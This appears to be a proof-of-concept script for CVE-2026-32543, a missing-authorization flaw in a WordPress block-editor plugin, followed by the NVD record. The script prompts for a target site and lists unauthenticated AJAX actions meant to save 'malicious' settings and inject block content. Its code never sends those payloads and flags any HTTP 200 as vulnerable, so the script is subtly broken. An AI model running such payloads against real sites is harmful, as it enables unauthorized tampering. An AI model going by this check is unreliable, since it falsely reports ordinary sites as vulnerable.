CVE-2026-32543

# CVE-2026-32543 PoC - Missing Authorization in Responsive Block Editor Addons # Affected: Responsive Block Editor Addons <= 2.2.0 import requests import sys target = input("Enter target URL: ").rstrip('/') # Identify vulnerable endpoints vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/wp/v2/', '/wp-json/responsive-block-editor/v1/' ] print(f"[*] Testing CVE-2026-32543 on {target}") print("[*] This vulnerability allows unauthenticated access to privileged functions") # Test unauthenticated access to admin functions test_payloads = [ {'action': 'rbea_get_blocks', 'data': 'test'}, {'action': 'rbea_save_settings', 'settings': 'malicious'}, {'action': 'rbea_update_block', 'block_id': '1', 'content': 'injected'} ] for endpoint in vulnerable_endpoints: url = target + endpoint print(f"\n[*] Testing endpoint: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Potentially vulnerable - Status: {response.status_code}") print(f"[!] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC testing complete") print("[*] Manual verification recommended") print("[*] Reference: https://patchstack.com/database/Wordpress/Plugin/responsive-block-editor-addons")

{"cve": {"id": "CVE-2026-32543", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:09.303", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in CyberChimps Responsive Blocks responsive-block-editor-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Responsive Blocks: from n/a through <= 2.2.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en CyberChimps Responsive Blocks responsive-block-editor-addons permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Responsive Blocks: desde n/a hasta &lt;= 2.2.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/responsive-block-editor-addons/vulnerability/wordpress-responsive-blocks-plugin-2-2-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}